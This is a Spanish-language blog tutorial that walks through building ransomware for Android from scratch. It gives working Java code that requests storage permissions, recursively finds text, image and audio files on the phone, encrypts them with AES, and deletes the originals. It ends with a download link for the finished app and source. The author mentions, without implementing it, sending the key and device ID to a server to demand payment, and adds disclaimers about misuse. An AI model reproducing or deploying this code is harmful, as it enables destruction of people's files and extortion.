HACKER ANGELWHITE GALC

martes, 21 de julio de 2020

Creando un Ransomware para Android desde 0!

Quiero compartirles algo en lo que eh estado trabajando, este año se hablo mucho de los famosos rasonware, del ciber ataque mundial que sufrieron muchas empresas y demas, ps bueno, primero entendamos que es un rasonware y como opera.

Segun wikipedia:

Citar
Un ransomware (del inglés ransom, ‘rescate’, y ware, por software) es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción.1​ Algunos tipos de ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.

En este tutorial les enseñare como crear un simple rasonware utilizando el algotirmo de encriptacion AES de 256 bytes, nos permitira encriptar archivos de texto, imagenes y musica.
Bueno y ps como me gusta todo este mundo quise hacerme el mio, pero no para hacer daño, quise hacerme el mio para demostrar de lo que podemos ser victimas o que tambien nos puede servir de ayuda(despues les explicare esta parte)

Antes que nada quiero decirles que este tutorial va dirigido a personas con conocimientos basicos en java y Android.

Comenzamos, primero abrimos Android Studio y creamos un nuevo proyecto, creamos un EmptyActivity con su respectiva clase, algo asi debe quedar:



Primero organizare la parte visual, voy a crear un EditText y dos Botones, uno para encriptar y otro para desencriptar, algo asi quedaria:

Código: Java
  1. <TextView
  2.             android:id="@+id/textView4"
  3.             android:layout_width="match_parent"
  4.             android:layout_height="wrap_content"
  5.             android:layout_gravity="center_vertical|center_horizontal|center"
  6.             android:fontFamily="monospace"
  7.             android:text="Contraseña"
  8.             android:textSize="18sp" />
  9.  
  10.         <EditText
  11.             android:id="@+id/clavesita"
  12.             android:layout_width="match_parent"
  13.             android:layout_height="wrap_content"
  14.             android:ems="10"
  15.             android:inputType="textPassword" />
  16.  
  17.         <Button
  18.             android:id="@+id/boton1"
  19.             android:layout_width="match_parent"
  20.             android:layout_height="wrap_content"
  21.             android:text="Encriptar" />
  22.  
  23.         <Button
  24.             android:id="@+id/boton2"
  25.             android:layout_width="match_parent"
  26.             android:layout_height="wrap_content"
  27.             android:text="Desencriptar" />


algo asi se veria:



Listo y aca empezamos con lo interesante, el codigo!
presten atencion a cada detalle que nombro, muchas 'cositas' me quitaron horas y horas, asi que cuidado

Primero hay que pedir permisos, ya que tengo un celular con Marshmallow (6), tengo que pedir los permisos tanto en el Manifest como en tiempo de ejecucion, nos vamos a la carpeta manifest, doble click al archivo AndroidManifest.xml y colocamos esto:


Código: Java
  1. <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
  2. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>


ahora vamos a la clase que creamos junto con el EmptyActivity, la mia se llama MainActivity, pedire los permisos en ejecucion:


Código: Java
  1. //Verificamos si ya tiene permisos
  2.  
  3.   if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  4.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  5.  
  6.   Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  7.  
  8. //Ya tenemos los permisos necesarios
  9. //Podemos proceder a trabajar con la memoria de el celular
  10.  
  11. } else{
  12.  
  13. //Si no tenemos permisos, creare una funcion para pedirlos
  14.  
  15. PedirPermisos();
  16.  
  17. }


fuera del metodo OnCreate, definimos la funcion:

Código: Java
  1. public void PedirPermisos() {
  2.  
  3.         if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
  4.  
  5.             Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
  6.         }
  7.         ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
  8.                 MY_PERMISSIONS_REQUEST);
  9.  
  10.  
  11.     }


Para saber la respuesta de el usuario vamos a crear nuestra propia version de la funcion onRequestPermissionsResult que es la que nos dice si el usuario nos dio los permisos o no


 
Código: Java
  1. @Override
  2.     public void onRequestPermissionsResult(int requestCode,
  3.                                            String permissions[], int[] grantResults) {
  4.         if (requestCode == MY_PERMISSIONS_REQUEST) {
  5.             // If request is cancelled, the result arrays are empty.
  6.             if (grantResults.length > 0
  7.                     && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
  8.  
  9.  
  10.                 Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  11.  
  12.  
  13.             } else {
  14.                 Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();
  15.  
  16.             }
  17.             return;
  18.         }
  19.  
  20.  
  21.     }


Algo asi les debe estar quedando



Luego voy a crear mi funcion de encriptar(), la cual necesita una clave de parametro, es la clave con la que vamos a cifrar los archivos, tiene que ser una clave de 16 bytes de tamaño, obligatoriamente!, yo utilizare esta = tr3D0ctaOlajESzU y una direccion, esta es la ubicacion de el archivo

Código: Java
  1. public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.  
  3.         //Archivo de entrada(sin encriptar)
  4.  
  5.         File extStore = Environment.getExternalStorageDirectory();
  6.         FileInputStream Entrada = new FileInputStream("/" + direccion);
  7.        
  8.        //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg
  9.  
  10.         FileOutputStream Salida = new FileOutputStream(extStore + "/encript_" + nombre);
  11.  
  12.         // Tamaño de la key 16 bytes!
  13.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
  14.      
  15.    // Se crea el Cipher, el encargado de cifrar los streams
  16.  
  17.         Cipher cipher = Cipher.getInstance("AES");
  18.         cipher.init(Cipher.ENCRYPT_MODE, sks);
  19.  
  20.         // stream de salida, archivo de salida
  21.         CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
  22.        
  23.  // Escribe bytes
  24.         int b;
  25.         byte[] d = new byte[8];
  26.         while ((b = Entrada.read(d)) != -1) {
  27.             cos.write(d, 0, b);
  28.         }
  29.        
  30.       //Cierra los stream
  31.         cos.flush();
  32.         cos.close();
  33.         Entrada.close();
  34.  
  35.         //Borra el archivo original
  36.         File tmp = new File("/" + direccion);
  37.         tmp.delete();
  38.  
  39.     }


y nuestra funcion desencriptar() , no la comentare porque hace casi lo mismo que la anterior

Código: Java
  1. public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.  
  3.         File extStore = Environment.getExternalStorageDirectory();
  4.         FileInputStream Entrada = new FileInputStream("/" + direccion);
  5.  
  6.         FileOutputStream Salida = new FileOutputStream(extStore + "/decrypt_" + nombre);
  7.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
  8.                 "AES");
  9.         Cipher cipher = Cipher.getInstance("AES");
  10.         cipher.init(Cipher.DECRYPT_MODE, sks);
  11.         CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  12.         int b;
  13.         byte[] d = new byte[8];
  14.         while ((b = cis.read(d)) != -1) {
  15.             Salida.write(d, 0, b);
  16.         }
  17.         Salida.flush();
  18.         Salida.close();
  19.         cis.close();
  20.  
  21.         //Borra el archivo encriptado
  22.         File tmp = new File("/" + direccion);
  23.         tmp.delete();
  24.  
  25.     }


Listo ya tenemos nuestras funciones encargadas de cifrar los archivos, ahora necesitamos una funcion que valla por todas las carpetas del sistema buscando los archivos a encriptar, quedaria algo asi:

Código: Java
  1. public static ArrayList<File> EncontrarArchivos(File root) {
  2.         ArrayList<File> Archivos = new ArrayList<File>();
  3.         File[] _archivos = root.listFiles();
  4.         if (_archivos != null) {
  5.             for (File lista : _archivos) {
  6.                 if (lista.isDirectory() && !lista.isHidden()) {
  7.  
  8.                     Archivos.addAll(EncontrarArchivos(lista));
  9.                 } else {
  10.  
  11.                      //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3
  12.  
  13.                     if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") ||
  14.                   lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
  15.                         if (lista.getTotalSpace() > 3) {
  16.  
  17.                         //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista
  18.  
  19.                             Archivos.add(lista);
  20.                         }
  21.                     }
  22.                 }
  23.             }
  24.         }
  25.         return Archivos;
  26.     }


Bueno basicamente ya tenemos nuestras principales funciones ya listas, ahora programaremos que al hacer click sobre el boton encriptar, ejecute nuestra funcion encriptar con los archivos que encontro en el sistema

Como ya lo habia dicho antes, despues de que comprobamos los permisos esque podemos realizar las tareas, vamos a utilizar el codigo anterior donde verificamos los permisos y habilitamos un OnClickListener para cada boton que creamos, asi este al ser oprimido ejecutara lo que le digamos, quedaria algo asi:

Código: Java
  1.     //PIDE Y COMPRUEBA PERMISOS EN EJECUCION
  2.  
  3.         if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  4.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  5.  
  6.             //Referencia botones y demas
  7.             final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  8.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  9.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);
  10.  
  11.  
  12.             Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  13.  
  14.             BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
  15.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  16.                 public void onClick(View view) {
  17.  
  18.  
  19.                     try {
  20.  
  21.                               //Lista de archivos encontrados en el sistema
  22.  
  23.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  24.  
  25.                         for (int i = 0; i < Archivos.size(); i++) {
  26.  
  27.                              //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
  28.                              // revisamos si esta encriptado, (que en su nombre tenga la palabra "encript_"
  29.  
  30.                              int comprobacion = Archivos.get(i).getName().indexOf("encript_");
  31.                             if (comprobacion != -1) {
  32.  
  33.                                 desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  34.  
  35.                             }
  36.                             }
  37.  
  38.                         }
  39.  
  40.                               //Excepciones necesarias para la funcion de encriptar
  41.  
  42.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  43.                         k.printStackTrace();
  44.                     }
  45.                 }
  46.             });
  47.  
  48.  
  49.             BotonEncriptar.setOnClickListener(new View.OnClickListener() {
  50.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  51.                 public void onClick(View view) {
  52.  
  53.  
  54.                     try {
  55.  
  56.  
  57.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  58.  
  59.                         for (int i = 0; i < Archivos.size(); i++) {
  60.                          
  61.      //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion
  62.  
  63.                             encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  64.  
  65.                        
  66.  
  67.  
  68.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  69.  
  70.                         k.printStackTrace();
  71.  
  72.                     }
  73.  
  74.                 }
  75.             });
  76.  
  77.         } else {
  78.  
  79.             PedirPermisos();
  80.         }
  81.  
  82.     }

Asi nos aseguramos a que sin los permisos necesarios nunca intentara encriptar los archivos y que nos genere errores, listo nuestro rasonware ya esta casi terminado, solo tenemos que leer la clave que nos ingresen para desencriptar o encriptar, con el EditText se la pedimos al usuario y la leemos:

Código: Java
  1. //Referenciamos nuestro objetos en pantalla
  2.  
  3.  final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  4.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  5.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);


y luego la leemos:

Código: Java
  1. String clave = EntradaClave.getText().toString();

esto va dentro de el OnClickListener de el boton encriptar para que al momento de que lo presionen la lea y haga sus respectivas tareas, Listo muchachos! asi se hace un rasonware para android.

Ahora construyamos nuestra apk y vamos a instalarla en nuestro movil, aca unas fotos de su funcionamiento, voy a crear una carpeta llamada docs y dentro de ella guardare una archivo de texto, una cancion y una imagen:



Ahora ire a la aplicacion y le dare sobre el boton encriptar, veamos que pasa:

se han encriptado los archivos de mi memoria, al tratar de abrir la imagen no me deja:


Ahora volvere a la aplicacion y le dare en desenciptar:


Mis archivos vuelven a la normalidad, puedo ver mi imagen, fijensen en los nombres, quiere decir que paso por todos nuestros procesos

Ahora podemos crear otra funcion que al terminar de encriptar los archivos no envie la clave y el id del celular a nuestro servidor para que quede alli guardada, no quise meter eso en el tutorial ya que pienso que quizas lo utilizen para mal, de ese modo podrian pedir dinero para darles las clave y .....
Pero aca otra parte, porque no utilizamos esto de una buena forma? si encriptamos nuestros archivos con una clave que solo nosotros sepamos y los desencriptamos solo cuando los necesitemos? no puedo decir que tendrias 100% de privacidad pero si le dificultaria el trabajo a cualquier cracker que quiera robarle su informacion.

cuidado con esto, no es algo para jugar y si van a hacer pruebas haganlo en ambientes controlados, mientras hacia esto me toco formatear mi celular ya que todos mis archivos quedaron encriptados xd, asi que cuidado, los archivos que lee son de la memoria interna del telefono, no se porque pasa esto pero solo me reconoce los de la memoria interna, tambien cuando le opriman sobre encriptar, desencriptar esperar unos segundos hasta que el celular este normal, si minimizamos la aplicacion o la cerramos de una podria generar errores

Les dejare la aplicacion y el codigo, espero les halla gustado, yo aprendi bastante haciendolo espero ustedes tambien
Aca el codigo y la app lista para que la prueben

https://mega.nz/#F!p6JACbII!IB2NEnk01qmL_Fva6-W-WA


No hay comentarios:

Publicar un comentario